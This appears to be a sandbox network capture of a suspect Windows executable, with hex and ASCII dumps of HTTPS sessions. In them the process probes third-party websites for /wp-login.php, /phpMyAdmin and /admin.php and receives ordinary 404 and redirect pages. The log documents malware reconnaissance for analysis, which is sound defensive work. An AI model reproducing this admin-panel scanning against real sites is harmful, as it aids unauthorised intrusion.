2023-11-26 05:59:42 UTC	1369	IN	Data Raw: 5b 65 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 52 75 6e 74 69 6d 65 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 20 77 61 73 20 6e 65 76 65 72 20 73 65 74 22 29 29 3b 72 65 74 75 72 6e 20 45 5b 65 5d 7d 66 75 6e 63 74 69 6f 6e 20 54 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 41 6c 6c 20 72 75 6e 74 69 6d 65 20 6f 62 6a 65 63 74 73 20 72 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 69 66 69 65 72 21 22 29 3b 45 5b 65 5d 3d 28 30 2c 69 2e 44 29 28 74 2c 6b 29 3b 63 6f 6e 73 74 20 6e 3d 28 30 2c 72 2e 65 6b 29 28 65 29 3b 6e 26 26 28 6e 2e 72 75 6e 74 69 6d 65 3d 45 5b 65 5d 29 7d 66 75 6e 63 74 69 6f 6e 20 52 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 Data Ascii: [e])throw new Error("Runtime for ".concat(e," was never set"));return E[e]}function T(e,t){if(!e)throw new Error("All runtime objects require an agent identifier!");E[e]=(0,i.D)(t,k);const n=(0,r.ek)(e);n&&(n.runtime=E[e])}function R(e){return function(e)
2023-11-26 05:59:42 UTC	1369	IN	Data Raw: 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2c 69 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 73 65 6c 66 2e 6e 61 76 69 67 61 74 6f 72 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 4e 61 76 69 67 61 74 6f 72 7c 7c 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 6e 61 76 69 67 61 74 6f 72 20 69 Data Ascii: ndow.document,i="undefined"!=typeof WorkerGlobalScope&&("undefined"!=typeof self&&self instanceof WorkerGlobalScope&&self.navigator instanceof WorkerNavigator\|\|"undefined"!=typeof globalThis&&globalThis instanceof WorkerGlobalScope&&globalThis.navigator i
2023-11-26 05:59:42 UTC	1369	IN	Data Raw: 29 7d 7d 7d 7d 2c 38 65 33 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 4c 3a 28 29 3d 3e 64 2c 52 3a 28 29 3d 3e 63 7d 29 3b 76 61 72 20 72 3d 6e 28 38 33 32 35 29 2c 69 3d 6e 28 31 32 38 34 29 2c 61 3d 6e 28 34 33 32 32 29 2c 6f 3d 6e 28 33 33 32 35 29 3b 63 6f 6e 73 74 20 73 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 63 28 65 2c 74 29 7b 63 6f 6e 73 74 20 6e 3d 7b 73 74 61 67 65 64 3a 21 31 2c 70 72 69 6f 72 69 74 79 3a 6f 2e 70 5b 74 5d 7c 7c 30 7d 3b 75 28 65 29 2c 73 5b 65 5d 2e 67 65 74 28 74 29 7c 7c 73 5b 65 5d 2e 73 65 74 28 74 2c 6e 29 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 29 7b 65 26 26 28 73 5b 65 5d 7c 7c 28 73 5b 65 5d 3d 6e 65 77 20 4d 61 70 29 29 7d 66 75 6e 63 74 69 6f 6e 20 64 28 29 7b 6c 65 Data Ascii: )}}}},8e3:(e,t,n)=>{"use strict";n.d(t,{L:()=>d,R:()=>c});var r=n(8325),i=n(1284),a=n(4322),o=n(3325);const s={};function c(e,t){const n={staged:!1,priority:o.p[t]\|\|0};u(e),s[e].get(t)\|\|s[e].set(t,n)}function u(e){e&&(s[e]\|\|(s[e]=new Map))}function d(){le
2023-11-26 05:59:42 UTC	1369	IN	Data Raw: 3b 69 3c 6e 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 6e 5b 69 5d 3d 3d 3d 74 26 26 6e 2e 73 70 6c 69 63 65 28 69 2c 31 29 7d 2c 65 6d 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 72 2c 69 2c 61 29 7b 21 31 21 3d 3d 61 26 26 28 61 3d 21 30 29 3b 69 66 28 75 2e 61 62 6f 72 74 65 64 26 26 21 69 29 72 65 74 75 72 6e 3b 74 26 26 61 26 26 74 2e 65 6d 69 74 28 65 2c 6e 2c 72 29 3b 66 6f 72 28 76 61 72 20 6f 3d 70 28 72 29 2c 63 3d 76 28 65 29 2c 64 3d 63 2e 6c 65 6e 67 74 68 2c 6c 3d 30 3b 6c 3c 64 3b 6c 2b 2b 29 63 5b 6c 5d 2e 61 70 70 6c 79 28 6f 2c 6e 29 3b 76 61 72 20 66 3d 62 28 29 5b 73 5b 65 5d 5d 3b 66 26 26 66 2e 70 75 73 68 28 5b 67 2c 65 2c 6e 2c 6f 5d 29 3b 72 65 74 75 72 6e 20 6f 7d 2c 67 65 74 3a 6d 2c 6c 69 73 74 65 6e 65 72 73 3a 76 2c 63 6f 6e 74 Data Ascii: ;i<n.length;i++)n[i]===t&&n.splice(i,1)},emit:function(e,n,r,i,a){!1!==a&&(a=!0);if(u.aborted&&!i)return;t&&a&&t.emit(e,n,r);for(var o=p(r),c=v(e),d=c.length,l=0;l<d;l++)c[l].apply(o,n);var f=b()[s[e]];f&&f.push([g,e,n,o]);return o},get:m,listeners:v,cont
2023-11-26 05:59:42 UTC	1369	IN	Data Raw: 69 3d 21 30 2c 21 31 7d 2c 67 65 74 20 73 69 67 6e 61 6c 28 29 7b 72 65 74 75 72 6e 20 61 3d 21 30 2c 21 31 7d 7d 3b 72 2e 5f 41 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 6e 75 6c 6c 2c 65 29 2c 72 2e 5f 41 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 6e 75 6c 6c 2c 65 29 7d 63 61 74 63 68 28 65 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 69 7c 7c 61 3f 7b 63 61 70 74 75 72 65 3a 21 21 65 2c 70 61 73 73 69 76 65 3a 69 2c 73 69 67 6e 61 6c 3a 74 7d 3a 21 21 65 7d 66 75 6e 63 74 69 6f 6e 20 73 28 65 2c 74 29 7b 6c 65 74 20 6e 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 32 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 Data Ascii: i=!0,!1},get signal(){return a=!0,!1}};r._A.addEventListener("test",null,e),r._A.removeEventListener("test",null,e)}catch(e){}function o(e,t){return i\|\|a?{capture:!!e,passive:i,signal:t}:!!e}function s(e,t){let n=arguments.length>2&&void 0!==arguments[2]&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
323	192.168.2.4	63732	95.168.220.210	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:41 UTC	302	OUT	GET /wp-login.php HTTP/1.1 Host: beachrecruitment.com Accept: / Accept-Encoding: deflate, gzip Cookie: k8spersistent=4f36ac64dc73c26adfab9dad01788b38\|11f187638643e13d7bd1963991fac52b; OF=9lma3oral9i39bi8q8vm70o157 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:42 UTC	371	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 32 20 47 4d 54 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 74 72 61 6e 73 66 65 72 2d 65 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 65 78 70 69 72 65 73 3a 20 54 68 75 2c 20 31 39 20 4e 6f 76 20 31 39 38 31 20 30 38 3a 35 32 3a 30 30 20 47 4d 54 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 70 6f 73 74 2d 63 68 65 63 6b 3d 30 2c 20 70 72 65 2d 63 68 65 63 6b 3d 30 0d 0a 70 72 61 67 6d 61 3a Data Ascii: HTTP/1.1 404 Not Founddate: Sun, 26 Nov 2023 05:59:42 GMTcontent-type: text/html; charset=utf-8transfer-encoding: chunkedexpires: Thu, 19 Nov 1981 08:52:00 GMTcache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0pragma:
2023-11-26 05:59:42 UTC	1021	IN	Data Raw: 33 46 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6e 6c 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 42 65 61 63 68 20 52 65 63 72 75 69 74 6d 65 6e 74 20 42 2e 56 2e 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 53 63 72 69 70 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 4a 61 76 61 73 63 72 69 70 74 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 53 74 79 6c 65 2d 54 79 70 65 22 20 63 Data Ascii: 3F6<!DOCTYPE html><html lang="nl"><head><title>Beach Recruitment B.V.</title><meta http-equiv="Content-Type" content="text/html;charset=UTF-8"><meta http-equiv="Content-Script-Type" content="text/Javascript"><meta http-equiv="Content-Style-Type" c
2023-11-26 05:59:42 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 74 6d 65 6e 74 2e 63 6f 6d 22 3e 0a 3c 21 2d 2d 20 65 6e 64 20 63 61 6e 6f 6e 69 63 61 6c 20 6c 69 6e 6b 20 2d 2d 3e 0a 0a 3c 21 2d 2d 20 72 65 6d 61 72 6b 3a 20 73 74 61 72 74 20 4a 53 72 65 70 6f 73 69 74 6f 72 79 20 61 75 74 6f 20 67 65 6e 65 72 61 74 65 64 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 20 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 65 61 63 68 72 65 63 72 75 69 74 6d 65 6e 74 2e 63 6f 6d 2f 5f 6a 61 76 61 73 63 72 69 70 74 5f 67 6c 6f 62 61 6c 2f 6a 71 75 65 72 79 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 65 61 63 68 72 65 63 72 75 69 74 6d 65 6e 74 2e 63 6f 6d 2f 5f 6a 61 76 61 73 63 72 69 70 74 5f 67 6c 6f 62 61 6c 2f 63 68 6f 73 Data Ascii: 2000tment.com">... end canonical link -->... remark: start JSrepository auto generated --><script src="https://www.beachrecruitment.com/_javascript_global/jquery.js"></script><script src="https://www.beachrecruitment.com/_javascript_global/chos
2023-11-26 05:59:42 UTC	4308	IN	Data Raw: 31 30 43 43 0d 0a 39 34 36 37 38 2f 63 61 74 2f 61 6c 6c 22 20 74 61 72 67 65 74 3d 22 5f 73 65 6c 66 22 3e 3c 53 54 52 49 4b 45 3e 42 65 6b 69 6a 6b 20 61 6c 6c 65 20 76 61 63 61 74 75 72 65 73 3c 2f 53 54 52 49 4b 45 3e 3c 2f 41 3e 3c 2f 50 3e 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 4c 49 4e 4b 53 2d 2d 3e 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 49 74 65 6d 43 6f 6e 22 3e 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 46 6f 74 6f 22 3e 0a 09 09 09 09 09 3c 69 6d 67 20 73 74 79 6c 65 3d 22 22 20 61 6c 74 3d 22 22 20 74 69 74 6c 65 3d 22 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 Data Ascii: 10CC94678/cat/all" target="_self"><STRIKE>Bekijk alle vacatures</STRIKE></A></P></div></div></div>...LINKS--></div><div class="tItemCon"><div class="tFoto"><img style="" alt="" title="" width="1920" height="
2023-11-26 05:59:42 UTC	13295	IN	Data Raw: 33 33 45 37 0d 0a 09 0a 09 09 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 6f 6f 6b 49 74 65 6d 57 6f 72 64 20 6a 73 6c 4b 65 79 77 6f 72 64 20 6a 73 6c 43 68 61 70 6f 22 3e 3c 2f 64 69 76 3e 0a 09 09 0a 09 09 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6a 73 6c 43 6c 65 61 6e 65 72 20 6a 73 6c 4b 77 43 6c 65 61 6e 65 72 22 3e 3c 2f 64 69 76 3e 0a 09 3c 2f 64 69 76 3e 0a 09 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 6f 6f 6b 49 74 65 6d 43 6f 6e 74 61 69 6e 65 72 20 6a 73 6c 49 74 65 6d 43 6f 6e 74 61 69 6e 65 72 22 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 6f 6f 6b 49 74 65 6d 54 69 74 6c 65 20 6a 73 6c 46 75 6e 63 74 69 6f 6e 4e 61 6d 65 22 3e 0a 09 09 09 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 65 61 63 68 72 65 Data Ascii: 33E7<div class="hookItemWord jslKeyword jslChapo"></div><div class="jslCleaner jslKwCleaner"></div></div><div class="hookItemContainer jslItemContainer"><div class="hookItemTitle jslFunctionName"><a href="https://www.beachre
2023-11-26 05:59:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
324	192.168.2.4	63590	199.34.228.177	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:41 UTC	1277	OUT	GET /phpMyAdmin HTTP/1.1 Host: gatewaytoearlylearning.com Accept: / Accept-Encoding: deflate, gzip Cookie: PublishedSiteSession=eyJpdiI6InRCT085QUZJRjFua2xuMDJDT3JmbHc9PSIsInZhbHVlIjoiM3VwZ1JLbGxsM1JCcFR0U1RHbFZ4Wmk1OXNLN2ZLZ1BCa3Ezemo4Q2JnaFc1SnJ5OGt0ajUyRFpXc1ZlZkgyc002aEdTcWVIeldKVEdTT3hrZEhyQkxnOW45M3BxbHFoZFJTVlA2MHRkQUdud1RoM3hFc2R1TllxRE1DbWFQc0YiLCJtYWMiOiIzYzAwYjY4YWEyNjk2YTU4NDZjYmJlN2ZkOWEwNjQxMTY5YTVkYTg2NzA4MDhlNWNkZDQwMTRhYjMwNDhlN2IyIiwidGFnIjoiIn0%3D; publishedsite-xsrf=eyJpdiI6ImdiYkFhd05JR2E4T1V1QzU0RmJ0R1E9PSIsInZhbHVlIjoiZ1dZODltbm1WZkZRajlLRjFpVVV6VXBiZWtJdWlpWitLRXd6V09BMHMvcHh0Si9LRG81QjBGelNBRnlLTDZPcHdaMTZqV0hldnFXZ2pWTEZPOTlzRC9maFJOMk5WQmNhNjlabTVCTktsVzYrdWpJb000SmhCMU16Z0hUQ1o3RXkiLCJtYWMiOiJhMTMzN2U5N2RhYjc0MmQwNmQyYjhjZWYzZGQ2ZGZjNWJhZDM0OWFiODU1MTFmZjYyYjA4ZmI1ZmE0NDI5YTkzIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6IlJZU3NLbzFKdGUxMkI3Nm1jTjNaREE9PSIsInZhbHVlIjoidlEwV0taUnFVb1JOeXVHM2V6bXNaM3pEeWJSejdRUEE4R0cxcTYzZjVBYXYxVCs2elVaMW9MUFhESGVRa3RDQlY1R0lSVlA1bFJBWWJPRDNkaTBrRGl2amlDc0NoVFlpUjEvc25HeHFEaXc2N2ZrUk5DTmNteTFqZ3JWMnVaRDgiLCJtYWMiOiI2NTc0MTQyNjdkYzE4YWYwOTU3NDk3YzVjMTdlOWRkYmQ3MjMxMDBjNGUwMGVhMGRiN2U0Yzc5YTM5OTQ5YjI2IiwidGFnIjoiIn0%3D User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:41 UTC	1135	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 31 20 47 4d 54 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 61 74 65 77 61 79 74 6f 65 61 72 6c 79 6c 65 61 72 6e 69 6e 67 2e 63 6f 6d 2f 70 68 70 4d 79 41 64 6d 69 6e 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 70 75 62 6c 69 73 Data Ascii: HTTP/1.1 301 Moved PermanentlyServer: nginxContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveDate: Sun, 26 Nov 2023 05:59:41 GMTLocation: https://www.gatewaytoearlylearning.com/phpMyAdminSet-Cookie: publis
2023-11-26 05:59:41 UTC	608	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 50 75 62 6c 69 73 68 65 64 53 69 74 65 53 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6e 59 77 4f 56 5a 71 61 46 4a 48 52 47 52 5a 61 7a 56 4b 5a 6e 5a 79 53 55 5a 47 65 55 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 4d 7a 56 43 53 32 46 69 55 48 46 4d 51 30 74 43 65 54 6c 61 51 57 35 55 63 47 74 7a 5a 31 4e 4b 4f 56 5a 33 64 47 64 59 4d 32 4e 4c 55 45 46 45 4d 54 68 4b 53 54 42 6e 55 57 5a 36 53 56 52 4b 65 48 46 32 4d 7a 63 78 54 33 68 77 52 30 31 57 59 57 35 4b 52 69 39 34 61 48 4e 30 52 32 70 77 5a 58 6b 32 64 55 52 69 4e 6d 67 79 4e 44 63 33 55 55 34 77 53 45 78 70 4d 54 55 32 4b 7a 64 77 63 33 42 35 4e 6d 4e 57 54 54 55 79 65 58 4a 7a 57 55 67 33 53 48 42 68 65 47 6f 33 63 55 35 79 65 47 46 72 4e 46 Data Ascii: Set-Cookie: PublishedSiteSession=eyJpdiI6InYwOVZqaFJHRGRZazVKZnZySUZGeUE9PSIsInZhbHVlIjoiMzVCS2FiUHFMQ0tCeTlaQW5UcGtzZ1NKOVZ3dGdYM2NLUEFEMThKSTBnUWZ6SVRKeHF2MzcxT3hwR01WYW5KRi94aHN0R2pwZXk2dURiNmgyNDc3UU4wSExpMTU2Kzdwc3B5NmNWTTUyeXJzWUg3SHBheGo3cU5yeGFrNF
2023-11-26 05:59:41 UTC	454	IN	Data Raw: 31 62 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 61 74 65 77 61 79 74 6f 65 61 72 6c 79 6c 65 61 72 6e 69 6e 67 2e 63 6f 6d 2f 70 68 70 4d 79 41 64 6d 69 6e 27 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 61 74 65 77 61 79 74 6f 65 61 72 6c 79 6c 65 61 72 6e 69 6e 67 2e 63 6f 6d 2f 70 68 70 4d 79 41 64 Data Ascii: 1ba<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='https://www.gatewaytoearlylearning.com/phpMyAdmin'" /> <title>Redirecting to https://www.gatewaytoearlylearning.com/phpMyAd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
325	192.168.2.4	63586	199.34.228.177	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:41 UTC	1276	OUT	GET /admin.php HTTP/1.1 Host: gatewaytoearlylearning.com Accept: / Accept-Encoding: deflate, gzip Cookie: PublishedSiteSession=eyJpdiI6ImU4M05CeFdURWNUc0ZzQ2dqN1lFT3c9PSIsInZhbHVlIjoiaVhaYitWU0NGcUtJbFVXbHZDeTFZb3BvdXh5Y1dVajl2VDJEaXYrR29OVlJuWmVDUnB1SkZEVGN4NFVIak5CekRjdXdzVkd3R25zSWZXcVo5akRja0hsWDhNbzVCSGYwalk4QmxQWENlYzJQdDZLUGRIVm5QNTBhYiszNXkxTGkiLCJtYWMiOiJmOTVmY2Y3NzZjN2M0NTRkNGMxNDdmYWYxZjI1YzVlM2QxZmZlMDgwMmMzOGYzNjg4ZTE5YjNlZTMxNGI4MTQ2IiwidGFnIjoiIn0%3D; publishedsite-xsrf=eyJpdiI6InF3ZngrWVg5clBjRjFERUZvRVFCREE9PSIsInZhbHVlIjoiQjFQMzd6RTJFS0ovK2VYVVhaaUFWQjQxODRsWXA0RkZxUGZEWEhBZWFMK0tUTHNoZkVjQUJ5OE1BVHlPTThRbFlIaXNVL1JtRFllb2l3R0tLdURtZUkrVWIxL1AvR0hqdmRBWGNHSlFFWng1NzlTRmZ6QWFzZVFFRUdmalNieWgiLCJtYWMiOiJhYWJjOWRjYWY4NDFhNjhkMDY5MzM0YzQ1NTIxMTNhMGRjZDZkMmUxZTRkYzBlZGNmMDFhMjFhODk3Y2I3YjIzIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6Im5paEdlSlh3eDllRmZqM2VhVG5XbGc9PSIsInZhbHVlIjoiaTd1VWNrcEdXenVERFhjUEtQVFdzekd3a1ptYkZ3RE5lZ0NQdmtuYmE3U0pGZmVGNERmRWI2TzJWQnQvelArMUM5TEI1bHZSNnZHMGhuVkZseFd3am9ZSFNFNzQrbGRKSTNYeUV6VVJ2bUhHalFJY1lyWXRpK0lRQjdwZFlEdnUiLCJtYWMiOiI0NjM2ZjFlNjMzMDEyMDdhOGY0NTNmZTMyODdmMDhkZDk3NDBlZDMwMGQxNTI2Nzk2YTBiMDIxYzM0OWM0NGI2IiwidGFnIjoiIn0%3D User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:41 UTC	1134	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 31 20 47 4d 54 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 61 74 65 77 61 79 74 6f 65 61 72 6c 79 6c 65 61 72 6e 69 6e 67 2e 63 6f 6d 2f 61 64 6d 69 6e 2e 70 68 70 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 70 75 62 6c 69 73 68 Data Ascii: HTTP/1.1 301 Moved PermanentlyServer: nginxContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveDate: Sun, 26 Nov 2023 05:59:41 GMTLocation: https://www.gatewaytoearlylearning.com/admin.phpSet-Cookie: publish
2023-11-26 05:59:41 UTC	608	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 50 75 62 6c 69 73 68 65 64 53 69 74 65 53 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6c 45 32 63 6a 6b 35 62 46 52 79 59 6a 42 6f 4b 33 4d 76 51 56 6c 42 56 6c 70 42 55 46 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 63 57 56 44 62 47 4e 6d 53 45 31 4b 65 6b 64 74 4b 33 56 75 59 32 38 72 4e 6d 4a 4a 4d 45 6c 73 62 55 31 33 4e 6d 56 50 4f 47 31 33 64 33 4a 48 4e 31 70 54 56 47 30 33 65 6d 56 75 55 48 56 61 4e 47 4e 73 63 46 56 30 59 6d 35 74 62 32 59 7a 5a 44 6c 74 62 45 77 72 54 48 56 54 57 58 64 30 4e 44 41 72 57 47 5a 36 5a 56 42 6f 54 48 5a 4c 63 46 5a 77 55 6c 4a 74 65 57 4d 78 56 47 52 56 65 47 56 49 51 6b 4e 4f 53 45 6c 6a 64 47 39 61 62 58 52 6e 57 6b 4e 4e 53 32 70 45 5a 32 35 36 5a 79 74 70 64 45 Data Ascii: Set-Cookie: PublishedSiteSession=eyJpdiI6IlE2cjk5bFRyYjBoK3MvQVlBVlpBUFE9PSIsInZhbHVlIjoicWVDbGNmSE1KekdtK3VuY28rNmJJMElsbU13NmVPOG13d3JHN1pTVG03emVuUHVaNGNscFV0Ym5tb2YzZDltbEwrTHVTWXd0NDArWGZ6ZVBoTHZLcFZwUlJteWMxVGRVeGVIQkNOSEljdG9abXRnWkNNS2pEZ256ZytpdE
2023-11-26 05:59:41 UTC	450	IN	Data Raw: 31 62 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 61 74 65 77 61 79 74 6f 65 61 72 6c 79 6c 65 61 72 6e 69 6e 67 2e 63 6f 6d 2f 61 64 6d 69 6e 2e 70 68 70 27 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 61 